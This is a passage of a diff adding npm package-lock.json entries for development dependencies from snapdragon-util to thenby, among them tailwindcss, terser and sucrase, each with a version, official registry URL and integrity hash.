+ "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^3.2.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon-util/node_modules/kind-of": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/snapdragon/node_modules/debug": {
+ "version": "2.6.9",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+ "dev": true,
+ "dependencies": {
+ "ms": "2.0.0"
+ }
+ },
+ "node_modules/snapdragon/node_modules/ms": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+ "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==",
+ "dev": true
+ },
+ "node_modules/snapdragon/node_modules/source-map": {
+ "version": "0.5.7",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
+ "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/source-map": {
+ "version": "0.6.1",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/source-map-js": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+ "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/source-map-resolve": {
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+ "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+ "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated",
+ "dev": true,
+ "dependencies": {
+ "atob": "^2.1.2",
+ "decode-uri-component": "^0.2.0",
+ "resolve-url": "^0.2.1",
+ "source-map-url": "^0.4.0",
+ "urix": "^0.1.0"
+ }
+ },
+ "node_modules/source-map-support": {
+ "version": "0.5.21",
+ "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+ "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+ "dev": true,
+ "dependencies": {
+ "buffer-from": "^1.0.0",
+ "source-map": "^0.6.0"
+ }
+ },
+ "node_modules/source-map-url": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz",
+ "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==",
+ "deprecated": "See https://github.com/lydell/source-map-url#deprecated",
+ "dev": true
+ },
+ "node_modules/sparkles": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/sparkles/-/sparkles-1.0.1.tgz",
+ "integrity": "sha512-dSO0DDYUahUt/0/pD/Is3VIm5TGJjludZ0HVymmhYF6eNA53PVLhnUk0znSYbH8IYBuJdCE+1luR22jNLMaQdw==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/spawn-wrap": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/spawn-wrap/-/spawn-wrap-2.0.0.tgz",
+ "integrity": "sha512-EeajNjfN9zMnULLwhZZQU3GWBoFNkbngTUPfaawT4RkMiviTxcX0qfhVbGey39mfctfDHkWtuecgQ8NJcyQWHg==",
+ "dev": true,
+ "dependencies": {
+ "foreground-child": "^2.0.0",
+ "is-windows": "^1.0.2",
+ "make-dir": "^3.0.0",
+ "rimraf": "^3.0.0",
+ "signal-exit": "^3.0.2",
+ "which": "^2.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/spawn-wrap/node_modules/make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "dependencies": {
+ "semver": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/spdx-correct": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz",
+ "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==",
+ "dev": true,
+ "dependencies": {
+ "spdx-expression-parse": "^3.0.0",
+ "spdx-license-ids": "^3.0.0"
+ }
+ },
+ "node_modules/spdx-exceptions": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz",
+ "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A==",
+ "dev": true
+ },
+ "node_modules/spdx-expression-parse": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
+ "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
+ "dev": true,
+ "dependencies": {
+ "spdx-exceptions": "^2.1.0",
+ "spdx-license-ids": "^3.0.0"
+ }
+ },
+ "node_modules/spdx-license-ids": {
+ "version": "3.0.13",
+ "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.13.tgz",
+ "integrity": "sha512-XkD+zwiqXHikFZm4AX/7JSCXA98U5Db4AFd5XUg/+9UNtnH75+Z9KxtpYiJZx36mUDVOwH83pl7yvCer6ewM3w==",
+ "dev": true
+ },
+ "node_modules/split": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/split/-/split-1.0.1.tgz",
+ "integrity": "sha512-mTyOoPbrivtXnwnIxZRFYRrPNtEFKlpB2fvjSnCQUiAA6qAZzqwna5envK4uk6OIeP17CsdF3rSBGYVBsU0Tkg==",
+ "dev": true,
+ "dependencies": {
+ "through": "2"
+ },
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/split-string": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
+ "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
+ "dev": true,
+ "dependencies": {
+ "extend-shallow": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/split-string/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/split-string/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/sprintf-js": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+ "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
+ "dev": true
+ },
+ "node_modules/stack-trace": {
+ "version": "0.0.10",
+ "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz",
+ "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/static-extend": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
+ "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==",
+ "dev": true,
+ "dependencies": {
+ "define-property": "^0.2.5",
+ "object-copy": "^0.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/stream-combiner": {
+ "version": "0.2.2",
+ "resolved": "https://registry.npmjs.org/stream-combiner/-/stream-combiner-0.2.2.tgz",
+ "integrity": "sha512-6yHMqgLYDzQDcAkL+tjJDC5nSNuNIx0vZtRZeiPh7Saef7VHX9H5Ijn9l2VIol2zaNYlYEX6KyuT/237A58qEQ==",
+ "dev": true,
+ "dependencies": {
+ "duplexer": "~0.1.1",
+ "through": "~2.3.4"
+ }
+ },
+ "node_modules/stream-exhaust": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/stream-exhaust/-/stream-exhaust-1.0.2.tgz",
+ "integrity": "sha512-b/qaq/GlBK5xaq1yrK9/zFcyRSTNxmcZwFLGSTG0mXgZl/4Z6GgiyYOXOvY7N3eEvFRAG1bkDRz5EPGSvPYQlw==",
+ "dev": true
+ },
+ "node_modules/stream-shift": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
+ "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ==",
+ "dev": true
+ },
+ "node_modules/string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "dev": true,
+ "dependencies": {
+ "safe-buffer": "~5.1.0"
+ }
+ },
+ "node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "dev": true,
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-ansi": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+ "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+ "dev": true,
+ "dependencies": {
+ "ansi-regex": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-bom": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
+ "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/strip-json-comments": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+ "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/sucrase": {
+ "version": "3.34.0",
+ "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz",
+ "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.2",
+ "commander": "^4.0.0",
+ "glob": "7.1.6",
+ "lines-and-columns": "^1.1.6",
+ "mz": "^2.7.0",
+ "pirates": "^4.0.1",
+ "ts-interface-checker": "^0.1.9"
+ },
+ "bin": {
+ "sucrase": "bin/sucrase",
+ "sucrase-node": "bin/sucrase-node"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/sucrase/node_modules/commander": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
+ "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
+ "dev": true,
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/sucrase/node_modules/glob": {
+ "version": "7.1.6",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
+ "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
+ "dev": true,
+ "dependencies": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.0.4",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ },
+ "engines": {
+ "node": "*"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/isaacs"
+ }
+ },
+ "node_modules/supports-color": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+ "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+ "dev": true,
+ "dependencies": {
+ "has-flag": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/supports-preserve-symlinks-flag": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/sver-compat": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/sver-compat/-/sver-compat-1.5.0.tgz",
+ "integrity": "sha512-aFTHfmjwizMNlNE6dsGmoAM4lHjL0CyiobWaFiXWSlD7cIxshW422Nb8KbXCmR6z+0ZEPY+daXJrDyh/vuwTyg==",
+ "dev": true,
+ "dependencies": {
+ "es6-iterator": "^2.0.1",
+ "es6-symbol": "^3.1.1"
+ }
+ },
+ "node_modules/symbol-tree": {
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+ "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==",
+ "dev": true
+ },
+ "node_modules/taffydb": {
+ "version": "2.6.2",
+ "resolved": "https://registry.npmjs.org/taffydb/-/taffydb-2.6.2.tgz",
+ "integrity": "sha512-y3JaeRSplks6NYQuCOj3ZFMO3j60rTwbuKCvZxsAraGYH2epusatvZ0baZYA01WsGqJBq/Dl6vOrMUJqyMj8kA==",
+ "dev": true
+ },
+ "node_modules/tailwindcss": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.3.tgz",
+ "integrity": "sha512-A0KgSkef7eE4Mf+nKJ83i75TMyq8HqY3qmFIJSWy8bNt0v1lG7jUcpGpoTFxAwYcWOphcTBLPPJg+bDfhDf52w==",
+ "dev": true,
+ "dependencies": {
+ "@alloc/quick-lru": "^5.2.0",
+ "arg": "^5.0.2",
+ "chokidar": "^3.5.3",
+ "didyoumean": "^1.2.2",
+ "dlv": "^1.1.3",
+ "fast-glob": "^3.2.12",
+ "glob-parent": "^6.0.2",
+ "is-glob": "^4.0.3",
+ "jiti": "^1.18.2",
+ "lilconfig": "^2.1.0",
+ "micromatch": "^4.0.5",
+ "normalize-path": "^3.0.0",
+ "object-hash": "^3.0.0",
+ "picocolors": "^1.0.0",
+ "postcss": "^8.4.23",
+ "postcss-import": "^15.1.0",
+ "postcss-js": "^4.0.1",
+ "postcss-load-config": "^4.0.1",
+ "postcss-nested": "^6.0.1",
+ "postcss-selector-parser": "^6.0.11",
+ "resolve": "^1.22.2",
+ "sucrase": "^3.32.0"
+ },
+ "bin": {
+ "tailwind": "lib/cli.js",
+ "tailwindcss": "lib/cli.js"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ ],
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/chokidar/node_modules/glob-parent": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^4.0.1"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/fill-range": {
+ "version": "7.0.1",
+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
+ "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
+ "dev": true,
+ "dependencies": {
+ "to-regex-range": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/fsevents": {
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz",
+ "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==",
+ "dev": true,
+ "hasInstallScript": true,
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/is-binary-path": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
+ "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
+ "dev": true,
+ "dependencies": {
+ "binary-extensions": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/is-number": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+ "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.12.0"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/readdirp": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+ "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+ "dev": true,
+ "dependencies": {
+ "picomatch": "^2.2.1"
+ },
+ "engines": {
+ "node": ">=8.10.0"
+ }
+ },
+ "node_modules/tailwindcss/node_modules/to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/tapable": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
+ "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
+ "dev": true,
+ "peer": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/terser": {
+ "version": "5.19.1",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.1.tgz",
+ "integrity": "sha512-27hxBUVdV6GoNg1pKQ7Z5cbR6V9txPVyBA+FQw3BaZ1Wuzvztce5p156DaP0NVZNrMZZ+6iG9Syf7WgMNKDg2Q==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@jridgewell/source-map": "^0.3.3",
+ "acorn": "^8.8.2",
+ "commander": "^2.20.0",
+ "source-map-support": "~0.5.20"
+ },
+ "bin": {
+ "terser": "bin/terser"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/terser-webpack-plugin": {
+ "version": "5.3.9",
+ "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.9.tgz",
+ "integrity": "sha512-ZuXsqE07EcggTWQjXUj+Aot/OMcD0bMKGgF63f7UxYcu5/AJF53aIpK1YoP5xR9l6s/Hy2b+t1AM0bLNPRuhwA==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "@jridgewell/trace-mapping": "^0.3.17",
+ "jest-worker": "^27.4.5",
+ "schema-utils": "^3.1.1",
+ "serialize-javascript": "^6.0.1",
+ "terser": "^5.16.8"
+ },
+ "engines": {
+ "node": ">= 10.13.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/webpack"
+ },
+ "peerDependencies": {
+ "webpack": "^5.1.0"
+ },
+ "peerDependenciesMeta": {
+ "@swc/core": {
+ "optional": true
+ },
+ "esbuild": {
+ "optional": true
+ },
+ "uglify-js": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/terser-webpack-plugin/node_modules/serialize-javascript": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.1.tgz",
+ "integrity": "sha512-owoXEFjWRllis8/M1Q+Cw5k8ZH40e3zhp/ovX+Xr/vi1qj6QesbyXXViFbpNvWvPNAD62SutwEXavefrLJWj7w==",
+ "dev": true,
+ "peer": true,
+ "dependencies": {
+ "randombytes": "^2.1.0"
+ }
+ },
+ "node_modules/terser/node_modules/commander": {
+ "version": "2.20.3",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+ "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
+ "dev": true,
+ "peer": true
+ },
+ "node_modules/test-exclude": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
+ "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
+ "dev": true,
+ "dependencies": {
+ "@istanbuljs/schema": "^0.1.2",
+ "glob": "^7.1.4",
+ "minimatch": "^3.0.4"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/text-table": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+ "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==",
+ "dev": true
+ },
+ "node_modules/thenby": {
+ "version": "1.3.4",
